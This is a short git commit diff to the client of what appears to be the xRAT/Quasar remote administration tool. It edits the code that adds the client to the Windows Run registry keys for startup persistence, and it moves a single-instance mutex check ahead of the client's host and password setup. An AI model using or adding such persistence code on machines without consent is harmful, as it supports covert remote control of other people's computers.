Check Mutex before doing anything else

thanks @yankejustin
This commit is contained in:
MaxXor 2015-08-29 21:23:10 +02:00
parent 21fb90e559
commit 656da95e82
2 changed files with 10 additions and 7 deletions

View File

@ -20,17 +20,19 @@ namespace xClient.Core.Installation
if (WindowsAccountHelper.GetAccountType() == "Admin")
{
bool success = RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.LocalMachine, GetHKLMPath(),
Settings.STARTUPKEY, ClientData.CurrentPath);
Settings.STARTUPKEY, ClientData.CurrentPath, true);
if (success) return true;
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath,
true);
}
else
{
return RegistryKeyHelper.AddRegistryKeyValue(RegistryHive.CurrentUser,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath);
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", Settings.STARTUPKEY, ClientData.CurrentPath,
true);
}
}

View File

@ -115,7 +115,11 @@ namespace xClient
private static void Initialize()
{
Thread.Sleep(2000);
if (!MutexHelper.CreateMutex(Settings.MUTEX))
ClientData.Disconnect = true; // process with same mutex is already running
if (ClientData.Disconnect)
return;
AES.PreHashKey(Settings.PASSWORD);
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
@ -125,9 +129,6 @@ namespace xClient
if (_hosts.IsEmpty)
ClientData.Disconnect = true; // no hosts to connect
if (!MutexHelper.CreateMutex(Settings.MUTEX))
ClientData.Disconnect = true; // process with same mutex is already running
if (ClientData.Disconnect)
return;